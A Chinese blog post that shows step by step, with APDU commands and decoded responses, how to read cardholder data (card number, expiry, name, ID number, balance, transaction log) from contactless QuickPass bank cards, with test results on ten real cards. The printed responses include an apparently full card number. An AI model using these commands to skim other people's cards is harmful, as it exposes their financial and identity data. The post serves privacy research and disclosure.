通过EVM/PBOC读取闪付卡(QuickPass)中隐私信息

by LauCyun Sep 21,2018 11:51:41 13,300 views

前段时间在freebuf上看到@HackPanda大神的《闪付卡(QuickPass)隐私泄露原理》,突然对闪付卡感兴趣了,然后通过一段时间的钻研,细思极恐啊Weary Cat FaceWeary Cat FaceWeary Cat Face

想象一下当黑客拿着卡片式大小的设备靠近你的时候,你身上的银行卡的卡号、发卡行、最近十笔的交易记录等,甚至是姓名、身份证号都泄露出去将会有多恐怖。

通过这些信息黑客就可以大致刻画出卡主人的消费习惯和生活水平等等。。。

在《黑客军团》中有类似的攻击场景,如下图所示:


图1 《黑客军团》场景

当然,这并不是闪付卡或金融IC卡的“漏洞”,这些信息是需要在交易过程中由POS机发送给发卡行进行验证的。

本文将介绍闪付卡(QuickPass)的工作流程及读取相关隐私信息的攻击。

0x01 闪付卡工作流程

这里所指的工作流程只局限在跟信息泄露相关的流程上,不涉及数据认证、支付、联机交易等内容。其工作流程为:

  • 应用选择(2PAY.SYS.DDF01)
  • 应用初始化
  • 读取数据
  • 后续流程等


图2 闪付卡工作流程

说明:图2的工作流程参考于《中国金融集成电路(IC)卡规范 第 5 部分:借记/贷记应用卡片规范》中图1的交易流程实例。

1 应用选择

PBOC3.0里选择应用总是从选择PPSE开始的,称为支付系统环境。对于非接触卡选择的支付系统环境为1PAY. SYS. DDF01,而对于接触卡选择的支付系统环境为2PAY.SYS.DDF01

应用选择包括目录选择方式、AID列表选择方式两种。

终端首先会使用目录选择方式,如果失败,则会使用AID列表选择方式。简单来说,目录选择方式就是终端从卡片读取其所支持的所有应用,而AID列表选择方式则是终端将其所支持的所有应用一个一个发给卡片,当有响应时则卡片支持该应用,无响应则不存在。而后构造出一个支持的列表,供终端或持卡人选择。

应用选择的具体流程可参考《中国金融集成电路(IC)卡规范 第 5 部分:借记/贷记应用卡片规范》 6.4.1 和 6.4.2 章节。

本文使用的应用选择方式是目录选择。

2 应用初始化

应用初始化与交易有关,与隐私泄露关系不大,但因为是中间步骤,所以做简单描述。

在上一步应用选择时卡片返回了PDOL(处理选项数据对象列表,可以理解为由卡片提供的组包格式),在应用初始化时,GPO需要把PDOL指令填充好,发送给卡片,指令包括金额、时间、国家代码、货币代码等。

进入GPO就表示交易开始。

3 读取数据

读取数据是重点需要介绍的地方,数据可以通过GET DATA或Read Record命令来读取,其两者的区别:

  • Read Record通过SFI读取数据内容,重点是读取特有的数据分组标识(DGI);
  • GET DATA是读取标签里的内容(比如:余额(9F79)、交易日志格式(9F4F)等)。

DGI的第一个字节为01-1E(即是SFI),第二个字节是记录编号。

常用DGI有0101(2磁道等价数据、持卡人姓名、1磁道自定义数据)、0102(2磁道等价数据、1磁道自定义数据)等,具体的DGI可参考《中国金融集成电路(IC)卡规范 第 10 部分:借记/贷记应用个人化指南》中表1。

0x02 攻击过程

在攻击实验之前,先介绍一下实验环境:

安装好驱动后,插入ACR122U读卡器。本次实验使用PPSE目录选择方法进行应用选择。

1 选择环境

通过使用2PAY.SYS.DDF01来选择支付系统环境。SELECT PPSE命令报文格式如表1所示:

表1 SELECT命令报文格式

代码
CLA “00”
INS “A4”
P1 引用控制参数
P2 选择选项
Lc “05” - “10”
Data 文件名
Le “00”

说明:本表参考《中国金融集成电路(IC)卡规范 第 5 部分:借记/贷记应用卡片规范》表B.23

所以,构造SELECT PPSE命令的请求报文如下:

=> 00A4 04 000E32 50 41 59 2E 53 59 53 2E 44 44 46 30 31

其中的00A40400是SELECT对应的CLA、INS、P1和P2,0E是文件名的长度,后面就是2PAY.SYS.DDF01所对应的ASCII,Le可加可不加。


图4 SELECT PPSE命令的请求与响应过程

响应报文如下:

<= 6F 3084 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31A5 1EBF 0C 1B61 194F 08 A0 00 00 03 33 01 01 0150 0A 50 42 4F 43 20 44 45 42 49 5487 01 01 90 00

表2 SELECT PPSE命令响应报文格式

标签 长度 出现条件
“6F” FCI 模板 变长 M
  “84” “2PAY.SYS.DDF01” OE M
  “A5” FCI专用模板 变长 M
    “BF0C” FCI发卡行自定义数据 变长 M
      “61” 目录入口 变长 M
        “4F” DF 名(AID) 07-08 M
        “50” 应用标签 04-10 O
        “87” 应用优先指示器 01 C*
      “61” 目录入口 变长 C*
        “4F” DF 名(AID) 07-08 C
        “50” 应用标签 04-10 C
        “87” 应用优先指示器 01 C
      “61” 目录入口 变长 C*
        “4F” DF 名(AID) 07-08 C
        “50” 应用标签 04-10 C
        “87” 应用优先指示器 01 C

说明:本表参考《中国金融集成电路(IC)卡规范 第 5 部分:借记/贷记应用卡片规范》表B.26

命令返回状态含义如下:

  • 9000 - SELECT命令成功返回;
  • 6A81 - 卡片被锁或命令不支持;
  • 6A82 - 所选的文件未找到;

专有应用标识符扩展(PIX)代码定义:

  • 010101:借记
  • 010102:贷记
  • 010103:准贷记

对照PPSE格式(如表2)来分析,分析如下:

  • 6F 30:FCI文件控制信息;
  • 84 0E32 50 41 59 2E 53 59 53 2E 44 44 46 30 31:DF名称,2PAY.SYS.DDF01的ASCII;
  • A5 1E:FCI专用模板;
  • BF 0C 1B:FCI发卡行自定义数据;
  • 61 19:目录入口(运行多个“61”);
  • 4F 08A0 00 00 03 33 01 01 01:DF名(AID),AID由A0 00 00 03 33(RID)和01 01 01(PIX)组成;
  • 50 0A 50 42 4F 43 20 44 45 42 49 54:应用标签;
  • 87 01 01: 应用优先指示器;
  • 90 00:状态字,表示成功。

A0 00 00 03 33 01 01 01正是下一步选择AID所需要的DF文件名。

2 选择应用

由于卡片中的非接触金融应用的AID,应在SELECT PPSE命令响应的FCI中返回,而FCI的完整格式在表2中描述。

根据表1中的SELECT AID命令格式和上面SELECT PPSE命令得到的AID构造的请求报文如下:

=> 00A4 04 0008A0 00 00 03 33 01 01 01


图5 SELECT AID命令的请求与响应过程

响应报文如下:

<= 6F 5F84 08 A0 00 00 03 33 01 01 01 A5 53 50 0A 50 42 4F 43 20 44 45 42 49 54 87 01 01 9F 38 18 9F 66 04 9F 02 06 9F 03 06 9F 1A 02 95 05 5F 2A 02 9A 03 9C 01 9F 37 04 5F 2D 02 7A 68 9F 11 01 01 9F 12 10 43 43 42 20 50 42 4F 43 33 2E 30 20 43 41 52 44 BF 0C 0A 9F 4D 02 0B 0A DF 4D 02 0C 0A 90 00

表3 SELECT AID命令响应报文格式

标签 存在性
“6F” FCI 模板 M
  “84” DF名 M
  “A5” FCI数据专用模板 M
    “50” 应用标签 M
    “87” 应用优先指示器 O
    “9F38” PDOL O
    “5F2D” 首选语言 O
    “9F11” 发卡行代码表索引 O
    “9F12” 应用优先名称 O
    “BF0C” 发卡行自定义数据(FCI) O
      “xxxx”
(JR/T 0025.3和本部分规定的标签)
来自从应用提供商、发卡行或IC卡供应商的1个或多个附加(专用)数据元 O
      “9F4D” 交易日志入口 O

说明:本表参考《中国金融集成电路(IC)卡规范 第 5 部分:借记/贷记应用卡片规范》表B.27

根据表3的格式对其响应报文分析,分析如下:

  • 6F 5F:FCI模板;
  • 84 08A0 00 00 03 33 01 01 01: DF名称;
  • A5 53:FCI数据专用模板;
  • 50 0A50 42 4F 43 20 44 45 42 49 54:应用标签,应用标签为PBOC DEBIT,即芯片卡标准消费流程;
  • 87 01 01:应用优先指示器;
  • 9F 3818 9F 66 04 9F 02 06 9F 03 06 9F 1A 02 95 05 5F 2A 02 9A 03 9C 01 9F 37 04:PDOL,下一步GPO初始化所需的PDOL;
  • 5F 2D 02 7A 68:首选语言;
  • 9F 11 01 01:发卡行代码表索引;
  • 9F 12 1043 43 42 20 50 42 4F 43 33 2E 30 20 43 41 52 44:应用优先名称,应用名为CCB PBOC3.0 CARD;
  • BF 0C 0A:发卡行自定义数据(FCI);
  • 9F 4D 02 0B 0A :交易日志入口;
  • DF 4D 02 0C 0A:;
  • 90 00:状态字,表示成功。

从响应报文中可看到应用名是50 42 4F 43 33 2E 30 20 43 41 52 44对应的可见字符就是“PBOC3.0 CARD”和01 01 01(PIX)相符合。应用优先指示器是01,好像只有这一个应用耶...

3 应用初始化

获取处理选项(GPO)命令用来启动IC卡内的交易。

表4 qPBOC最基本PDOL内容

PDOL中的标签 数据元名称
“9F66” 终端交易属性
“9F02” 授权金额
“9F03” 其它金额
“9F1A” 终端国家代码,具体见《GB/T 2659-2000》
“95” 终端验证结果(TVR)
注: 为了TVR会被qPBOC终端填为0(所请求的数据对于终端无法提供时,同样按此情况处理)
“5F2A” 交易货币代码,具体见《GB/T 12406-2008》
“9A” 交易日期
“9C” 交易类型,具体见《GB/T 15150-1994》
“9F37” 不可预知数

说明:本表参考《中国金融集成电路(IC)卡规范 第 12 部分:非接触式 IC 卡支付规范》表10

GPO指令的数据域应该是83+Len+Data,而Data是跟上面应用选择时得到的PDOL(9F 66 04 9F 02 06 9F 03 06 9F 1A 02 95 05 5F 2A 02 9A 03 9C 01 9F 37 04)有关,根据表4结构对PDOL进行分解,如下:

  • 9F 6604:终端交易属性,配置为60 00 00 00标明终端支持非接触借记/贷记应用和qPBOC应用;
  • 9F 0206:授权金额,配置为00 00 00 00 00 00
  • 9F 0306:其它金额,配置为00 00 00 00 00 00
  • 9F 1A02:发卡行国家代码,中国的国家代码01 56
  • 9505:终端交易属性tvr,配置为00 00 00 00 00
  • 5F 2A02:交易货币代码,中国的交易货币代码为01 56
  • 9A03:交易日期,配置为18 09 03 表示2018年9月3日;
  • 9C01:交易类型,配置为70表示商品;
  • 9F 3704:不可预知数,设为00 00 00 00

具体的PDOL分解过程,请参考PBOC规范研究之八----GPO命令

所以,GPO指令的数据域为83 21 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 56 00 00 00 00 00 01 56 18 09 03 70 00 00 00 00

表5 获取处理选项(GPO)命令报文格式

代码
CLA “80”
INS “A8”
P1 “00”
P2 “00”
Lc “00”
数据域 PDOL 相关数据(如果存在)或 8300
Le “00”

说明:本表参考《中国金融集成电路(IC)卡规范 第 5 部分:借记/贷记应用卡片规范》表B.12

根据表5格式构建GPO请求报文如下:

=> 80 A8 00 0023 83 21 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 56 00 00 00 00 00 01 56 18 09 03 70 00 00 00 00 00

其中GPO指令的数据域应该是83+Len+Data,Data的长度是0x21个字节,所以Lc的长度应该是0x23个字节(2+Len)。


图6 GPO指令的请求与响应过程

响应报文如下:

<=0E 7C 00 08 01 01 00 10 01 03 01 20 01 04 00 90 00

响应报文的数据域包含一个BER-TLV编码数据对象。

卡片可以任选下列两种格式之一来编码:

  • 格式1:响应报文中的数据对象是一个标签为‘80’的基本数据对象。数据域由应用交互特征(AIP)和应用文件定位器(AFL)的值域连接而成,各数据对象之间没有分隔符(标签和长度)。
    应用交互特征(AIP)定义了可以被IC卡中的应用支持的功能。
    应用文件定位器(AFL)包括一个不含有分隔符的由文件与记录组成的列表。
  • 格式2:响应报文中的数据对象是一个标签为‘77’的基本数据对象。数据域可以包含多个BER-TLV编码的 对象,但至少要包含应用交互特征(AIP)和应用文件定位器(AFL)。

响应报文是80开头的,是标准的借记/贷记应用GPO响应,显然跟格式1的格式一致,分析如下:

返回数据第一个字节0x80是标准的借记/贷记应用GPO响应报文模板格式,7C00是AFL标签(往后每4个字节为一个AFL,每个AFL的第一个字节的高5位是SFI,第二个字节是第一条要读的记录号,第三个字节是最后一条要读的记录号,第四个字节为静态数据签名的记录数)。

接着,分析出上面的3个AFL,如下:

  • 08 01 01 000000 1000(2)即SFI是0x01,记录号仅有0x01;
  • 10 01 03 010001 0000(2)即SFI是0x02,记录号从0x01到0x03;
  • 20 01 04 000010 0000(2)即SFI是0x04,记录号从0x01到0x04;

4 GET DATA

先来介绍一下GET DATA命令。

前面也介绍了,GET DATA主要是读取标签里的内容(比如:余额(9F79)、交易日志格式(9F4F)等)。

表6 GET DATA命令报文格式

代码
CLA “80”
INS “CA”
P1 “00”
P2 “00”
Lc 不存在
Data 不存在
Le “00”

说明:本表参考《中国金融集成电路(IC)卡规范 第 13 部分:基于借记/贷记应用的小额 支付规范》表5

根据表6的报文格式构建读取余额(9F79)请求报文如下:

=>80CA 9F 79 00


图7 读取电子现金余额的请求与响应过程

响应报文如下:

<=9F 79 0600 00 00 00 00 00 90 00

表7 GET DATA命令响应报文格式

代码
P1/P2 标签(T)
Lc 长度(L)
Data 数据(V)
SW1/SW2  

说明:本表参考《中国金融集成电路(IC)卡规范 第 13 部分:基于借记/贷记应用的小额 支付规范》表6

额,电子现金余额为0...Face with Tears of JoyRolling on the Floor LaughingCat Face with Tears of Joy

接着,来读取交易日志格式(9F4F):

=>80CA 9F 4F 00


图8 读取交易日志格式的请求与响应过程

响应报文如下:

<= 9F 4F 199A 03 9F 21 03 9F 02 06 9F 03 06 9F 1A 02 5F 2A 02 9F 4E 14 9C 01 9F 36 02 90 00

而响应的交易日志格式与表8正好一致。

表8 交易日志格式

标签 数据 长度(字节)
9A 交易日期 3
9F21 交易时间 3
9F02 授权金额 6
9F03 其它金额 6
9F1A 终端国家代码 2
5F2A 交易货币代码 2
9F4E 商户名称 20
9C 交易类型 1
9F36 应用交易计数器(ATC) 2

说明:本表参考《中国金融集成电路(IC)卡规范 第 13 部分:基于借记/贷记应用的小额 支付规范》表9

其它的标签数据也是类似的读取,在这就不一一介绍了Hugging FaceCrazy Face

5 Read Record

Read Record通过SFI读取数据内容。接下来将介绍上面GPO响应得到的3个SFI:

  • 08 01 01 000000 1000(2)即SFI是0x01,记录号仅有0x01;
  • 10 01 03 010001 0000(2)即SFI是0x02,记录号从0x01到0x03;
  • 20 01 04 000010 0000(2)即SFI是0x04,记录号从0x01到0x04;

介绍之前,先来了解一下Read Record的报文格式,如表9所示:

表9 读记录(Read Record)命令报文格式

代码 说明
CLA “00”  
INS “B2”   
P1 记录号 见P1和P2结构表
P2 引用控制参数 见表10
Lc 不存在  
Data 不存在  
Le “00”  

说明:本表参考《中国金融集成电路(IC)卡规范 第 5 部分:借记/贷记应用卡片规范》表B.20

表10定义了命令报文的引用控制参数。

表10 读记录(Read Record)命令引用控制参数

b8 b7 b6 b5 b4 b3 b2 b1 意义
x x x x x       SFI
          1 0 0 读P1指定记录

说明:本表参考《中国金融集成电路(IC)卡规范 第 5 部分:借记/贷记应用卡片规范》表B.21

Read Record命令的CLA是00,INS是B2,P1是记录号,P2的高5位是刚刚FCI中读出的SFI,然后剩下的低3位是100(2),组合起来如下图所示。没有Lc和Data,Le可有可无,这里填00。结合上面SFI算出P2的值如下:

  • SFI是0000 1000(2),则P2是0000 1100(2),即P2是0C
  • SFI是0001 0000(2),则P2是0001 0100(2),即P2是14
  • SFI是0010 0000(2),则P2是0010 0100(2),即P2是24

现在对3个SFI构建相应的请求报文,分别如下:

  • 00 B2010C 00
  • 00 B201 14 00 
  • 00 B20124 00

响应报文是70开头的,是读记录(Read Record)命令的响应报文,如图9所示:


图9 Read Record命令请求及响应过程

对照《中国金融集成电路(IC)卡规范 第 10 部分:借记/贷记应用个人化指南》中的DGI,分析如下:

<= 70349F 6112 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 209F 6201 005F 2003 43 43 42571362 17 00 00 10 06 97 36 41 4D 24 12 22 09 62 10 20 00 0F 90 00 

  • 70:Read Record命令的响应报文标记;
  • 34:总长度;
  • 9F 6112 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20:持卡人证件号;
  • 9F 6201 00:持卡人证件类型;
  • 5F 2003 43 43 42:持卡人姓名;
  • 571362 17 00 00 10 06 97 36 41 4D 24 12 22 09 62 10 20 00 0F:2磁道等价数据,黄色部分为卡号,蓝色部分为有效期;
  • 90 00:状态字,表示成功。

此请求可获知持卡人的相关信息、卡号、有效期。

<= 7081 865F 2403 24 12 315F 2503 15 12 075A0A 62 17 00 00 10 06 97 36 41 4F9F 0702 FF 008E0C 00 00 00 00 00 00 00 00 02 03 1F 009F 0D05 D8 60 04 A8 009F 0E05 00 10 98 00 009F 0F 05 D8 68 04 F8 005F 2802 01 569F 0802 00 308C1B 9F 02 06 9F 03 06 9F 1A 02 95 05 5F 2A 02 9A 03 9C 01 9F 37 04 9F 21 03 9F 4E 148D1A 8A 02 9F 02 06 9F 03 06 9F 1A 02 95 05 5F 2A 02 9A 03 9C 01 9F 37 04 9F 21 03 90 00

  • 70:Read Record命令的响应报文标记;
  • 81:长度;
  • 86:;
  • 5F 2403 24 12 31:应用失效日期,2024年12月31日失效;
  • 5F 2503 15 12 07:应用生效日期,开卡日期是2015年12月7日;
  • 5A0A 62 17 00 00 10 06 97 36 41 4F:应用主账号(PAN),也就是卡号;
  • 9F 0702 FF 00:应用使用控制;
  • 8E0C 00 00 00 00 00 00 00 00 02 03 1F 00:持卡人验证方法 (CVM)列表;
  • 9F 0D05 D8 60 04 A8 00:IAC—缺省;
  • 9F 0E05 00 10 98 00 00:IAC—拒绝;
  • 9F 0F05 D8 68 04 F8 00 :IAC—联机;
  • 5F 2802 01 56:发卡行国家代码;
  • 9F 0802 00 30:应用版本号;
  • 8C1B 9F 02 06 9F 03 06 9F 1A 02 95 05 5F 2A 02 9A 03 9C 01 9F 37 04 9F 21 03 9F 4E 14:卡片风险管理数据对象列表 1(CDOL1);
  • 8D1A 8A 02 9F 02 06 9F 03 06 9F 1A 02 95 05 5F 2A 02 9A 03 9C 01 9F 37 04 9F 21 03:卡片风险管理数据对象列表2(CDOL2);
  • 90 00:状态字,表示成功。 

此请求可获知卡的生效日期、失效日期、卡号等内容。

<= 70089F 1401 009F 2301 00 90 00 

  • 70:Read Record命令的响应报文标记;
  • 08:长度;
  • 9F 1401 00:连续脱机交易下限(终端频度检查);
  • 9F 2301 00:连续脱机交易上限(终端频度检查);
  • 90 00:状态字,表示成功。 

此请求可获知卡的连续脱机交易上限、下限。

然而这些数据并没有我们想要的,接着尝试读取交易记录。

表11 获取日志条目的命令格式

代码
CLA “00”
INS “B2”
P1 n(记录号)
P2 “5C”
Le “00”

说明:本表参考《中国金融集成电路(IC)卡规范 第 13 部分:基于借记/贷记应用的小额 支付规范》表C.9

那么根据表11组合读取交易日志条目的请求报文,如下:

=>00 B201 5C 00


图10 读取交易日志条目

如果卡返回的状态字节不是“9000”或“6A83”,则读卡器产生“卡未被接受”的返回代码, 并终止交易日志读取过程;

如果读卡器返回状态字节“6A83”,则读卡器已经将卡交易日志中所有有实际意义的记录读出。

第一条日志:

<=16 04 1019 16 0800 00 00 00 00 0000 00 00 00 00 0001 5601 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0A9900 02 90 00 

日志具体信息如下:

  • 16 04 10:交易日期;
  • 19 16 08 :交易时间;
  • 00 00 00 00 00 00:授权金额;
  • 00 00 00 00 00 00:其它金额;
  • 01 56:终端国家代码;
  • 01 56:交易货币代码;
  • 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0A:商户名称;
  • 99:交易类型;
  • 00 02:应用交易计数器(ATC);
  • 90 00:状态字,表示成功。  

如果要读取下一条记录,将记录号加1即可。

0x03 测试结果

针对手上的一些银行卡进行读取测试,测试结果如下表:

表12 测试结果

银行卡类型 姓名 证件号 卡号 有效日期 失效日期 余额 交易记录
中国银行-借记卡 完整 可读 可读 可读 可读
北京银行-医保卡 可读,拼音 完整 可读 可读 可读 可读
工商银行-牡丹普卡 完整 可读 可读 可读 可读
建设银行-学生资助卡 完整 可读 可读 可读 可读
建设银行-龙卡通-借记卡 可读 完整 可读 可读 可读 可读
招商银行-借记卡 完整 可读 可读 可读 可读
招商银行-信用卡-YOUNG卡 完整 可读 可读 可读 可读
邮政储蓄-绿卡通 可读 可读 完整 可读 可读 可读 可读
江西农信社-百福卡-借记卡 可读 可读 完整 可读 可读 可读 可读
中国光大银行-阳光卡-借记卡 可读 可读 可读 可读 可读

最后,来一张结果图吧,如图11所示:


图11 闪付卡的隐私信息

由此可见,四大行对隐私保护更加重视。。。

最后的最后,请勿用于非法商业用途HandshakeHandshakeHandshake

源码传送门:quickpass-1.0.2.tar.gz

0x04 参考

Tags